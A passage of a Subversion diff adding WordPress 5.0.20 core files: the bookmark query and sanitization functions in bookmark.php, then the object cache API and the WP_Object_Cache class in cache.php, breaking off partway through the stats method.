+				wp_cache_add( $_bookmark->link_id, $_bookmark, 'bookmark' );
+			}
+		}
+	}
+
+	if ( ! $_bookmark )
+		return $_bookmark;
+
+	$_bookmark = sanitize_bookmark($_bookmark, $filter);
+
+	if ( $output == OBJECT ) {
+		return $_bookmark;
+	} elseif ( $output == ARRAY_A ) {
+		return get_object_vars($_bookmark);
+	} elseif ( $output == ARRAY_N ) {
+		return array_values(get_object_vars($_bookmark));
+	} else {
+		return $_bookmark;
+	}
+}
+
+/**
+ * Retrieve single bookmark data item or field.
+ *
+ * @since 2.3.0
+ *
+ * @param string $field The name of the data field to return
+ * @param int $bookmark The bookmark ID to get field
+ * @param string $context Optional. The context of how the field will be used.
+ * @return string|WP_Error
+ */
+function get_bookmark_field( $field, $bookmark, $context = 'display' ) {
+	$bookmark = (int) $bookmark;
+	$bookmark = get_bookmark( $bookmark );
+
+	if ( is_wp_error($bookmark) )
+		return $bookmark;
+
+	if ( !is_object($bookmark) )
+		return '';
+
+	if ( !isset($bookmark->$field) )
+		return '';
+
+	return sanitize_bookmark_field($field, $bookmark->$field, $bookmark->link_id, $context);
+}
+
+/**
+ * Retrieves the list of bookmarks
+ *
+ * Attempts to retrieve from the cache first based on MD5 hash of arguments. If
+ * that fails, then the query will be built from the arguments and executed. The
+ * results will be stored to the cache.
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string|array $args {
+ *     Optional. String or array of arguments to retrieve bookmarks.
+ *
+ *     @type string   $orderby        How to order the links by. Accepts post fields. Default 'name'.
+ *     @type string   $order          Whether to order bookmarks in ascending or descending order.
+ *                                    Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'.
+ *     @type int      $limit          Amount of bookmarks to display. Accepts 1+ or -1 for all.
+ *                                    Default -1.
+ *     @type string   $category       Comma-separated list of category ids to include links from.
+ *                                    Default empty.
+ *     @type string   $category_name  Category to retrieve links for by name. Default empty.
+ *     @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts
+ *                                    1|true or 0|false. Default 1|true.
+ *     @type int|bool $show_updated   Whether to display the time the bookmark was last updated.
+ *                                    Accepts 1|true or 0|false. Default 0|false.
+ *     @type string   $include        Comma-separated list of bookmark IDs to include. Default empty.
+ *     @type string   $exclude        Comma-separated list of bookmark IDs to exclude. Default empty.
+ * }
+ * @return array List of bookmark row objects.
+ */
+function get_bookmarks( $args = '' ) {
+	global $wpdb;
+
+	$defaults = array(
+		'orderby' => 'name', 'order' => 'ASC',
+		'limit' => -1, 'category' => '',
+		'category_name' => '', 'hide_invisible' => 1,
+		'show_updated' => 0, 'include' => '',
+		'exclude' => '', 'search' => ''
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$key = md5( serialize( $r ) );
+	$cache = false;
+	if ( 'rand' !== $r['orderby'] && $cache = wp_cache_get( 'get_bookmarks', 'bookmark' ) ) {
+		if ( is_array( $cache ) && isset( $cache[ $key ] ) ) {
+			$bookmarks = $cache[ $key ];
+			/**
+			 * Filters the returned list of bookmarks.
+			 *
+			 * The first time the hook is evaluated in this file, it returns the cached
+			 * bookmarks list. The second evaluation returns a cached bookmarks list if the
+			 * link category is passed but does not exist. The third evaluation returns
+			 * the full cached results.
+			 *
+			 * @since 2.1.0
+			 *
+			 * @see get_bookmarks()
+			 *
+			 * @param array $bookmarks List of the cached bookmarks.
+			 * @param array $r         An array of bookmark query arguments.
+			 */
+			return apply_filters( 'get_bookmarks', $bookmarks, $r );
+		}
+	}
+
+	if ( ! is_array( $cache ) ) {
+		$cache = array();
+	}
+
+	$inclusions = '';
+	if ( ! empty( $r['include'] ) ) {
+		$r['exclude'] = '';  //ignore exclude, category, and category_name params if using include
+		$r['category'] = '';
+		$r['category_name'] = '';
+		$inclinks = preg_split( '/[\s,]+/', $r['include'] );
+		if ( count( $inclinks ) ) {
+			foreach ( $inclinks as $inclink ) {
+				if ( empty( $inclusions ) ) {
+					$inclusions = ' AND ( link_id = ' . intval( $inclink ) . ' ';
+				} else {
+					$inclusions .= ' OR link_id = ' . intval( $inclink ) . ' ';
+				}
+			}
+		}
+	}
+	if (! empty( $inclusions ) ) {
+		$inclusions .= ')';
+	}
+
+	$exclusions = '';
+	if ( ! empty( $r['exclude'] ) ) {
+		$exlinks = preg_split( '/[\s,]+/', $r['exclude'] );
+		if ( count( $exlinks ) ) {
+			foreach ( $exlinks as $exlink ) {
+				if ( empty( $exclusions ) ) {
+					$exclusions = ' AND ( link_id <> ' . intval( $exlink ) . ' ';
+				} else {
+					$exclusions .= ' AND link_id <> ' . intval( $exlink ) . ' ';
+				}
+			}
+		}
+	}
+	if ( ! empty( $exclusions ) ) {
+		$exclusions .= ')';
+	}
+
+	if ( ! empty( $r['category_name'] ) ) {
+		if ( $r['category'] = get_term_by('name', $r['category_name'], 'link_category') ) {
+			$r['category'] = $r['category']->term_id;
+		} else {
+			$cache[ $key ] = array();
+			wp_cache_set( 'get_bookmarks', $cache, 'bookmark' );
+			/** This filter is documented in wp-includes/bookmark.php */
+			return apply_filters( 'get_bookmarks', array(), $r );
+		}
+	}
+
+	$search = '';
+	if ( ! empty( $r['search'] ) ) {
+		$like = '%' . $wpdb->esc_like( $r['search'] ) . '%';
+		$search = $wpdb->prepare(" AND ( (link_url LIKE %s) OR (link_name LIKE %s) OR (link_description LIKE %s) ) ", $like, $like, $like );
+	}
+
+	$category_query = '';
+	$join = '';
+	if ( ! empty( $r['category'] ) ) {
+		$incategories = preg_split( '/[\s,]+/', $r['category'] );
+		if ( count($incategories) ) {
+			foreach ( $incategories as $incat ) {
+				if ( empty( $category_query ) ) {
+					$category_query = ' AND ( tt.term_id = ' . intval( $incat ) . ' ';
+				} else {
+					$category_query .= ' OR tt.term_id = ' . intval( $incat ) . ' ';
+				}
+			}
+		}
+	}
+	if ( ! empty( $category_query ) ) {
+		$category_query .= ") AND taxonomy = 'link_category'";
+		$join = " INNER JOIN $wpdb->term_relationships AS tr ON ($wpdb->links.link_id = tr.object_id) INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_taxonomy_id = tr.term_taxonomy_id";
+	}
+
+	if ( $r['show_updated'] ) {
+		$recently_updated_test = ", IF (DATE_ADD(link_updated, INTERVAL 120 MINUTE) >= NOW(), 1,0) as recently_updated ";
+	} else {
+		$recently_updated_test = '';
+	}
+
+	$get_updated = ( $r['show_updated'] ) ? ', UNIX_TIMESTAMP(link_updated) AS link_updated_f ' : '';
+
+	$orderby = strtolower( $r['orderby'] );
+	$length = '';
+	switch ( $orderby ) {
+		case 'length':
+			$length = ", CHAR_LENGTH(link_name) AS length";
+			break;
+		case 'rand':
+			$orderby = 'rand()';
+			break;
+		case 'link_id':
+			$orderby = "$wpdb->links.link_id";
+			break;
+		default:
+			$orderparams = array();
+			$keys = array( 'link_id', 'link_name', 'link_url', 'link_visible', 'link_rating', 'link_owner', 'link_updated', 'link_notes', 'link_description' );
+			foreach ( explode( ',', $orderby ) as $ordparam ) {
+				$ordparam = trim( $ordparam );
+
+				if ( in_array( 'link_' . $ordparam, $keys ) ) {
+					$orderparams[] = 'link_' . $ordparam;
+				} elseif ( in_array( $ordparam, $keys ) ) {
+					$orderparams[] = $ordparam;
+				}
+			}
+			$orderby = implode( ',', $orderparams );
+	}
+
+	if ( empty( $orderby ) ) {
+		$orderby = 'link_name';
+	}
+
+	$order = strtoupper( $r['order'] );
+	if ( '' !== $order && ! in_array( $order, array( 'ASC', 'DESC' ) ) ) {
+		$order = 'ASC';
+	}
+
+	$visible = '';
+	if ( $r['hide_invisible'] ) {
+		$visible = "AND link_visible = 'Y'";
+	}
+
+	$query = "SELECT * $length $recently_updated_test $get_updated FROM $wpdb->links $join WHERE 1=1 $visible $category_query";
+	$query .= " $exclusions $inclusions $search";
+	$query .= " ORDER BY $orderby $order";
+	if ( $r['limit'] != -1 ) {
+		$query .= ' LIMIT ' . absint( $r['limit'] );
+	}
+
+	$results = $wpdb->get_results( $query );
+
+	if ( 'rand()' !== $orderby ) {
+		$cache[ $key ] = $results;
+		wp_cache_set( 'get_bookmarks', $cache, 'bookmark' );
+	}
+
+	/** This filter is documented in wp-includes/bookmark.php */
+	return apply_filters( 'get_bookmarks', $results, $r );
+}
+
+/**
+ * Sanitizes all bookmark fields
+ *
+ * @since 2.3.0
+ *
+ * @param stdClass|array $bookmark Bookmark row
+ * @param string $context Optional, default is 'display'. How to filter the
+ *		fields
+ * @return stdClass|array Same type as $bookmark but with fields sanitized.
+ */
+function sanitize_bookmark($bookmark, $context = 'display') {
+	$fields = array('link_id', 'link_url', 'link_name', 'link_image', 'link_target', 'link_category',
+		'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_updated',
+		'link_rel', 'link_notes', 'link_rss', );
+
+	if ( is_object($bookmark) ) {
+		$do_object = true;
+		$link_id = $bookmark->link_id;
+	} else {
+		$do_object = false;
+		$link_id = $bookmark['link_id'];
+	}
+
+	foreach ( $fields as $field ) {
+		if ( $do_object ) {
+			if ( isset($bookmark->$field) )
+				$bookmark->$field = sanitize_bookmark_field($field, $bookmark->$field, $link_id, $context);
+		} else {
+			if ( isset($bookmark[$field]) )
+				$bookmark[$field] = sanitize_bookmark_field($field, $bookmark[$field], $link_id, $context);
+		}
+	}
+
+	return $bookmark;
+}
+
+/**
+ * Sanitizes a bookmark field.
+ *
+ * Sanitizes the bookmark fields based on what the field name is. If the field
+ * has a strict value set, then it will be tested for that, else a more generic
+ * filtering is applied. After the more strict filter is applied, if the `$context`
+ * is 'raw' then the value is immediately return.
+ *
+ * Hooks exist for the more generic cases. With the 'edit' context, the {@see 'edit_$field'}
+ * filter will be called and passed the `$value` and `$bookmark_id` respectively.
+ *
+ * With the 'db' context, the {@see 'pre_$field'} filter is called and passed the value.
+ * The 'display' context is the final context and has the `$field` has the filter name
+ * and is passed the `$value`, `$bookmark_id`, and `$context`, respectively.
+ *
+ * @since 2.3.0
+ *
+ * @param string $field       The bookmark field.
+ * @param mixed  $value       The bookmark field value.
+ * @param int    $bookmark_id Bookmark ID.
+ * @param string $context     How to filter the field value. Accepts 'raw', 'edit', 'attribute',
+ *                            'js', 'db', or 'display'
+ * @return mixed The filtered value.
+ */
+function sanitize_bookmark_field( $field, $value, $bookmark_id, $context ) {
+	switch ( $field ) {
+	case 'link_id' : // ints
+	case 'link_rating' :
+		$value = (int) $value;
+		break;
+	case 'link_category' : // array( ints )
+		$value = array_map('absint', (array) $value);
+		// We return here so that the categories aren't filtered.
+		// The 'link_category' filter is for the name of a link category, not an array of a link's link categories
+		return $value;
+
+	case 'link_visible' : // bool stored as Y|N
+		$value = preg_replace('/[^YNyn]/', '', $value);
+		break;
+	case 'link_target' : // "enum"
+		$targets = array('_top', '_blank');
+		if ( ! in_array($value, $targets) )
+			$value = '';
+		break;
+	}
+
+	if ( 'raw' == $context )
+		return $value;
+
+	if ( 'edit' == $context ) {
+		/** This filter is documented in wp-includes/post.php */
+		$value = apply_filters( "edit_{$field}", $value, $bookmark_id );
+
+		if ( 'link_notes' == $field ) {
+			$value = esc_html( $value ); // textarea_escaped
+		} else {
+			$value = esc_attr($value);
+		}
+	} elseif ( 'db' == $context ) {
+		/** This filter is documented in wp-includes/post.php */
+		$value = apply_filters( "pre_{$field}", $value );
+	} else {
+		/** This filter is documented in wp-includes/post.php */
+		$value = apply_filters( "{$field}", $value, $bookmark_id, $context );
+
+		if ( 'attribute' == $context ) {
+			$value = esc_attr( $value );
+		} elseif ( 'js' == $context ) {
+			$value = esc_js( $value );
+		}
+	}
+
+	return $value;
+}
+
+/**
+ * Deletes the bookmark cache.
+ *
+ * @since 2.7.0
+ *
+ * @param int $bookmark_id Bookmark ID.
+ */
+function clean_bookmark_cache( $bookmark_id ) {
+	wp_cache_delete( $bookmark_id, 'bookmark' );
+	wp_cache_delete( 'get_bookmarks', 'bookmark' );
+	clean_object_term_cache( $bookmark_id, 'link');
+}
Index: /tags/5.0.20/src/wp-includes/cache.php
===================================================================
--- /tags/5.0.20/src/wp-includes/cache.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/cache.php	(revision 56912)
@@ -0,0 +1,732 @@
+<?php
+/**
+ * Object Cache API
+ *
+ * @link https://codex.wordpress.org/Class_Reference/WP_Object_Cache
+ *
+ * @package WordPress
+ * @subpackage Cache
+ */
+
+/**
+ * Adds data to the cache, if the cache key doesn't already exist.
+ *
+ * @since 2.0.0
+ *
+ * @see WP_Object_Cache::add()
+ * @global WP_Object_Cache $wp_object_cache Object cache global instance.
+ *
+ * @param int|string $key    The cache key to use for retrieval later.
+ * @param mixed      $data   The data to add to the cache.
+ * @param string     $group  Optional. The group to add the cache to. Enables the same key
+ *                           to be used across groups. Default empty.
+ * @param int        $expire Optional. When the cache data should expire, in seconds.
+ *                           Default 0 (no expiration).
+ * @return bool False if cache key and group already exist, true on success.
+ */
+function wp_cache_add( $key, $data, $group = '', $expire = 0 ) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->add( $key, $data, $group, (int) $expire );
+}
+
+/**
+ * Closes the cache.
+ *
+ * This function has ceased to do anything since WordPress 2.5. The
+ * functionality was removed along with the rest of the persistent cache.
+ *
+ * This does not mean that plugins can't implement this function when they need
+ * to make sure that the cache is cleaned up after WordPress no longer needs it.
+ *
+ * @since 2.0.0
+ *
+ * @return true Always returns true.
+ */
+function wp_cache_close() {
+	return true;
+}
+
+/**
+ * Decrements numeric cache item's value.
+ *
+ * @since 3.3.0
+ *
+ * @see WP_Object_Cache::decr()
+ * @global WP_Object_Cache $wp_object_cache Object cache global instance.
+ *
+ * @param int|string $key    The cache key to decrement.
+ * @param int        $offset Optional. The amount by which to decrement the item's value. Default 1.
+ * @param string     $group  Optional. The group the key is in. Default empty.
+ * @return false|int False on failure, the item's new value on success.
+ */
+function wp_cache_decr( $key, $offset = 1, $group = '' ) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->decr( $key, $offset, $group );
+}
+
+/**
+ * Removes the cache contents matching key and group.
+ *
+ * @since 2.0.0
+ *
+ * @see WP_Object_Cache::delete()
+ * @global WP_Object_Cache $wp_object_cache Object cache global instance.
+ *
+ * @param int|string $key   What the contents in the cache are called.
+ * @param string     $group Optional. Where the cache contents are grouped. Default empty.
+ * @return bool True on successful removal, false on failure.
+ */
+function wp_cache_delete( $key, $group = '' ) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->delete($key, $group);
+}
+
+/**
+ * Removes all cache items.
+ *
+ * @since 2.0.0
+ *
+ * @see WP_Object_Cache::flush()
+ * @global WP_Object_Cache $wp_object_cache Object cache global instance.
+ *
+ * @return bool False on failure, true on success
+ */
+function wp_cache_flush() {
+	global $wp_object_cache;
+
+	return $wp_object_cache->flush();
+}
+
+/**
+ * Retrieves the cache contents from the cache by key and group.
+ *
+ * @since 2.0.0
+ *
+ * @see WP_Object_Cache::get()
+ * @global WP_Object_Cache $wp_object_cache Object cache global instance.
+ *
+ * @param int|string  $key    The key under which the cache contents are stored.
+ * @param string      $group  Optional. Where the cache contents are grouped. Default empty.
+ * @param bool        $force  Optional. Whether to force an update of the local cache from the persistent
+ *                            cache. Default false.
+ * @param bool        $found  Optional. Whether the key was found in the cache (passed by reference).
+ *                            Disambiguates a return of false, a storable value. Default null.
+ * @return bool|mixed False on failure to retrieve contents or the cache
+ *		              contents on success
+ */
+function wp_cache_get( $key, $group = '', $force = false, &$found = null ) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->get( $key, $group, $force, $found );
+}
+
+/**
+ * Increment numeric cache item's value
+ *
+ * @since 3.3.0
+ *
+ * @see WP_Object_Cache::incr()
+ * @global WP_Object_Cache $wp_object_cache Object cache global instance.
+ *
+ * @param int|string $key    The key for the cache contents that should be incremented.
+ * @param int        $offset Optional. The amount by which to increment the item's value. Default 1.
+ * @param string     $group  Optional. The group the key is in. Default empty.
+ * @return false|int False on failure, the item's new value on success.
+ */
+function wp_cache_incr( $key, $offset = 1, $group = '' ) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->incr( $key, $offset, $group );
+}
+
+/**
+ * Sets up Object Cache Global and assigns it.
+ *
+ * @since 2.0.0
+ *
+ * @global WP_Object_Cache $wp_object_cache
+ */
+function wp_cache_init() {
+	$GLOBALS['wp_object_cache'] = new WP_Object_Cache();
+}
+
+/**
+ * Replaces the contents of the cache with new data.
+ *
+ * @since 2.0.0
+ *
+ * @see WP_Object_Cache::replace()
+ * @global WP_Object_Cache $wp_object_cache Object cache global instance.
+ *
+ * @param int|string $key    The key for the cache data that should be replaced.
+ * @param mixed      $data   The new data to store in the cache.
+ * @param string     $group  Optional. The group for the cache data that should be replaced.
+ *                           Default empty.
+ * @param int        $expire Optional. When to expire the cache contents, in seconds.
+ *                           Default 0 (no expiration).
+ * @return bool False if original value does not exist, true if contents were replaced
+ */
+function wp_cache_replace( $key, $data, $group = '', $expire = 0 ) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->replace( $key, $data, $group, (int) $expire );
+}
+
+/**
+ * Saves the data to the cache.
+ *
+ * Differs from wp_cache_add() and wp_cache_replace() in that it will always write data.
+ *
+ * @since 2.0.0
+ *
+ * @see WP_Object_Cache::set()
+ * @global WP_Object_Cache $wp_object_cache Object cache global instance.
+ *
+ * @param int|string $key    The cache key to use for retrieval later.
+ * @param mixed      $data   The contents to store in the cache.
+ * @param string     $group  Optional. Where to group the cache contents. Enables the same key
+ *                           to be used across groups. Default empty.
+ * @param int        $expire Optional. When to expire the cache contents, in seconds.
+ *                           Default 0 (no expiration).
+ * @return bool False on failure, true on success
+ */
+function wp_cache_set( $key, $data, $group = '', $expire = 0 ) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->set( $key, $data, $group, (int) $expire );
+}
+
+/**
+ * Switches the internal blog ID.
+ *
+ * This changes the blog id used to create keys in blog specific groups.
+ *
+ * @since 3.5.0
+ *
+ * @see WP_Object_Cache::switch_to_blog()
+ * @global WP_Object_Cache $wp_object_cache Object cache global instance.
+ *
+ * @param int $blog_id Site ID.
+ */
+function wp_cache_switch_to_blog( $blog_id ) {
+	global $wp_object_cache;
+
+	$wp_object_cache->switch_to_blog( $blog_id );
+}
+
+/**
+ * Adds a group or set of groups to the list of global groups.
+ *
+ * @since 2.6.0
+ *
+ * @see WP_Object_Cache::add_global_groups()
+ * @global WP_Object_Cache $wp_object_cache Object cache global instance.
+ *
+ * @param string|array $groups A group or an array of groups to add.
+ */
+function wp_cache_add_global_groups( $groups ) {
+	global $wp_object_cache;
+
+	$wp_object_cache->add_global_groups( $groups );
+}
+
+/**
+ * Adds a group or set of groups to the list of non-persistent groups.
+ *
+ * @since 2.6.0
+ *
+ * @param string|array $groups A group or an array of groups to add.
+ */
+function wp_cache_add_non_persistent_groups( $groups ) {
+	// Default cache doesn't persist so nothing to do here.
+}
+
+/**
+ * Reset internal cache keys and structures.
+ *
+ * If the cache back end uses global blog or site IDs as part of its cache keys,
+ * this function instructs the back end to reset those keys and perform any cleanup
+ * since blog or site IDs have changed since cache init.
+ *
+ * This function is deprecated. Use wp_cache_switch_to_blog() instead of this
+ * function when preparing the cache for a blog switch. For clearing the cache
+ * during unit tests, consider using wp_cache_init(). wp_cache_init() is not
+ * recommended outside of unit tests as the performance penalty for using it is
+ * high.
+ *
+ * @since 2.6.0
+ * @deprecated 3.5.0 WP_Object_Cache::reset()
+ * @see WP_Object_Cache::reset()
+ *
+ * @global WP_Object_Cache $wp_object_cache Object cache global instance.
+ */
+function wp_cache_reset() {
+	_deprecated_function( __FUNCTION__, '3.5.0', 'WP_Object_Cache::reset()' );
+
+	global $wp_object_cache;
+
+	$wp_object_cache->reset();
+}
+
+/**
+ * Core class that implements an object cache.
+ *
+ * The WordPress Object Cache is used to save on trips to the database. The
+ * Object Cache stores all of the cache data to memory and makes the cache
+ * contents available by using a key, which is used to name and later retrieve
+ * the cache contents.
+ *
+ * The Object Cache can be replaced by other caching mechanisms by placing files
+ * in the wp-content folder which is looked at in wp-settings. If that file
+ * exists, then this file will not be included.
+ *
+ * @since 2.0.0
+ */
+class WP_Object_Cache {
+
+	/**
+	 * Holds the cached objects.
+	 *
+	 * @since 2.0.0
+	 * @var array
+	 */
+	private $cache = array();
+
+	/**
+	 * The amount of times the cache data was already stored in the cache.
+	 *
+	 * @since 2.5.0
+	 * @var int
+	 */
+	public $cache_hits = 0;
+
+	/**
+	 * Amount of times the cache did not have the request in cache.
+	 *
+	 * @since 2.0.0
+	 * @var int
+	 */
+	public $cache_misses = 0;
+
+	/**
+	 * List of global cache groups.
+	 *
+	 * @since 3.0.0
+	 * @var array
+	 */
+	protected $global_groups = array();
+
+	/**
+	 * The blog prefix to prepend to keys in non-global groups.
+	 *
+	 * @since 3.5.0
+	 * @var int
+	 */
+	private $blog_prefix;
+
+	/**
+	 * Holds the value of is_multisite().
+	 *
+	 * @since 3.5.0
+	 * @var bool
+	 */
+	private $multisite;
+
+	/**
+	 * Makes private properties readable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		return $this->$name;
+	}
+
+	/**
+	 * Makes private properties settable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name  Property to set.
+	 * @param mixed  $value Property value.
+	 * @return mixed Newly-set property.
+	 */
+	public function __set( $name, $value ) {
+		return $this->$name = $value;
+	}
+
+	/**
+	 * Makes private properties checkable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	/**
+	 * Makes private properties un-settable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	/**
+	 * Adds data to the cache if it doesn't already exist.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @uses WP_Object_Cache::_exists() Checks to see if the cache already has data.
+	 * @uses WP_Object_Cache::set()     Sets the data after the checking the cache
+	 *		                            contents existence.
+	 *
+	 * @param int|string $key    What to call the contents in the cache.
+	 * @param mixed      $data   The contents to store in the cache.
+	 * @param string     $group  Optional. Where to group the cache contents. Default 'default'.
+	 * @param int        $expire Optional. When to expire the cache contents. Default 0 (no expiration).
+	 * @return bool False if cache key and group already exist, true on success
+	 */
+	public function add( $key, $data, $group = 'default', $expire = 0 ) {
+		if ( wp_suspend_cache_addition() )
+			return false;
+
+		if ( empty( $group ) )
+			$group = 'default';
+
+		$id = $key;
+		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) )
+			$id = $this->blog_prefix . $key;
+
+		if ( $this->_exists( $id, $group ) )
+			return false;
+
+		return $this->set( $key, $data, $group, (int) $expire );
+	}
+
+	/**
+	 * Sets the list of global cache groups.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $groups List of groups that are global.
+	 */
+	public function add_global_groups( $groups ) {
+		$groups = (array) $groups;
+
+		$groups = array_fill_keys( $groups, true );
+		$this->global_groups = array_merge( $this->global_groups, $groups );
+	}
+
+	/**
+	 * Decrements numeric cache item's value.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param int|string $key    The cache key to decrement.
+	 * @param int        $offset Optional. The amount by which to decrement the item's value. Default 1.
+	 * @param string     $group  Optional. The group the key is in. Default 'default'.
+	 * @return false|int False on failure, the item's new value on success.
+	 */
+	public function decr( $key, $offset = 1, $group = 'default' ) {
+		if ( empty( $group ) )
+			$group = 'default';
+
+		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) )
+			$key = $this->blog_prefix . $key;
+
+		if ( ! $this->_exists( $key, $group ) )
+			return false;
+
+		if ( ! is_numeric( $this->cache[ $group ][ $key ] ) )
+			$this->cache[ $group ][ $key ] = 0;
+
+		$offset = (int) $offset;
+
+		$this->cache[ $group ][ $key ] -= $offset;
+
+		if ( $this->cache[ $group ][ $key ] < 0 )
+			$this->cache[ $group ][ $key ] = 0;
+
+		return $this->cache[ $group ][ $key ];
+	}
+
+	/**
+	 * Removes the contents of the cache key in the group.
+	 *
+	 * If the cache key does not exist in the group, then nothing will happen.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int|string $key        What the contents in the cache are called.
+	 * @param string     $group      Optional. Where the cache contents are grouped. Default 'default'.
+	 * @param bool       $deprecated Optional. Unused. Default false.
+	 * @return bool False if the contents weren't deleted and true on success.
+	 */
+	public function delete( $key, $group = 'default', $deprecated = false ) {
+		if ( empty( $group ) )
+			$group = 'default';
+
+		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) )
+			$key = $this->blog_prefix . $key;
+
+		if ( ! $this->_exists( $key, $group ) )
+			return false;
+
+		unset( $this->cache[$group][$key] );
+		return true;
+	}
+
+	/**
+	 * Clears the object cache of all data.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @return true Always returns true.
+	 */
+	public function flush() {
+		$this->cache = array();
+
+		return true;
+	}
+
+	/**
+	 * Retrieves the cache contents, if it exists.
+	 *
+	 * The contents will be first attempted to be retrieved by searching by the
+	 * key in the cache group. If the cache is hit (success) then the contents
+	 * are returned.
+	 *
+	 * On failure, the number of cache misses will be incremented.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int|string $key    What the contents in the cache are called.
+	 * @param string     $group  Optional. Where the cache contents are grouped. Default 'default'.
+	 * @param string     $force  Optional. Unused. Whether to force a refetch rather than relying on the local
+	 *                           cache. Default false.
+	 * @param bool        $found  Optional. Whether the key was found in the cache (passed by reference).
+	 *                            Disambiguates a return of false, a storable value. Default null.
+	 * @return false|mixed False on failure to retrieve contents or the cache contents on success.
+	 */
+	public function get( $key, $group = 'default', $force = false, &$found = null ) {
+		if ( empty( $group ) )
+			$group = 'default';
+
+		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) )
+			$key = $this->blog_prefix . $key;
+
+		if ( $this->_exists( $key, $group ) ) {
+			$found = true;
+			$this->cache_hits += 1;
+			if ( is_object($this->cache[$group][$key]) )
+				return clone $this->cache[$group][$key];
+			else
+				return $this->cache[$group][$key];
+		}
+
+		$found = false;
+		$this->cache_misses += 1;
+		return false;
+	}
+
+	/**
+	 * Increments numeric cache item's value.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param int|string $key    The cache key to increment
+	 * @param int        $offset Optional. The amount by which to increment the item's value. Default 1.
+	 * @param string     $group  Optional. The group the key is in. Default 'default'.
+	 * @return false|int False on failure, the item's new value on success.
+	 */
+	public function incr( $key, $offset = 1, $group = 'default' ) {
+		if ( empty( $group ) )
+			$group = 'default';
+
+		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) )
+			$key = $this->blog_prefix . $key;
+
+		if ( ! $this->_exists( $key, $group ) )
+			return false;
+
+		if ( ! is_numeric( $this->cache[ $group ][ $key ] ) )
+			$this->cache[ $group ][ $key ] = 0;
+
+		$offset = (int) $offset;
+
+		$this->cache[ $group ][ $key ] += $offset;
+
+		if ( $this->cache[ $group ][ $key ] < 0 )
+			$this->cache[ $group ][ $key ] = 0;
+
+		return $this->cache[ $group ][ $key ];
+	}
+
+	/**
+	 * Replaces the contents in the cache, if contents already exist.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @see WP_Object_Cache::set()
+	 *
+	 * @param int|string $key    What to call the contents in the cache.
+	 * @param mixed      $data   The contents to store in the cache.
+	 * @param string     $group  Optional. Where to group the cache contents. Default 'default'.
+	 * @param int        $expire Optional. When to expire the cache contents. Default 0 (no expiration).
+	 * @return bool False if not exists, true if contents were replaced.
+	 */
+	public function replace( $key, $data, $group = 'default', $expire = 0 ) {
+		if ( empty( $group ) )
+			$group = 'default';
+
+		$id = $key;
+		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) )
+			$id = $this->blog_prefix . $key;
+
+		if ( ! $this->_exists( $id, $group ) )
+			return false;
+
+		return $this->set( $key, $data, $group, (int) $expire );
+	}
+
+	/**
+	 * Resets cache keys.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @deprecated 3.5.0 Use switch_to_blog()
+	 * @see switch_to_blog()
+	 */
+	public function reset() {
+		_deprecated_function( __FUNCTION__, '3.5.0', 'switch_to_blog()' );
+
+		// Clear out non-global caches since the blog ID has changed.
+		foreach ( array_keys( $this->cache ) as $group ) {
+			if ( ! isset( $this->global_groups[ $group ] ) )
+				unset( $this->cache[ $group ] );
+		}
+	}
+
+	/**
+	 * Sets the data contents into the cache.
+	 *
+	 * The cache contents is grouped by the $group parameter followed by the
+	 * $key. This allows for duplicate ids in unique groups. Therefore, naming of
+	 * the group should be used with care and should follow normal function
+	 * naming guidelines outside of core WordPress usage.
+	 *
+	 * The $expire parameter is not used, because the cache will automatically
+	 * expire for each time a page is accessed and PHP finishes. The method is
+	 * more for cache plugins which use files.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int|string $key    What to call the contents in the cache.
+	 * @param mixed      $data   The contents to store in the cache.
+	 * @param string     $group  Optional. Where to group the cache contents. Default 'default'.
+	 * @param int        $expire Not Used.
+	 * @return true Always returns true.
+	 */
+	public function set( $key, $data, $group = 'default', $expire = 0 ) {
+		if ( empty( $group ) )
+			$group = 'default';
+
+		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) )
+			$key = $this->blog_prefix . $key;
+
+		if ( is_object( $data ) )
+			$data = clone $data;
+
+		$this->cache[$group][$key] = $data;
+		return true;
+	}
+
+	/**
+	 * Echoes the stats of the caching.
+	 *
+	 * Gives the cache hits, and cache misses. Also prints every cached group,
+	 * key and the data.
+	 *
+	 * @since 2.0.0
+	 */
+	public function stats() {
+		echo "<p>";
+		echo "<strong>Cache Hits:</strong> {$this->cache_hits}<br />";
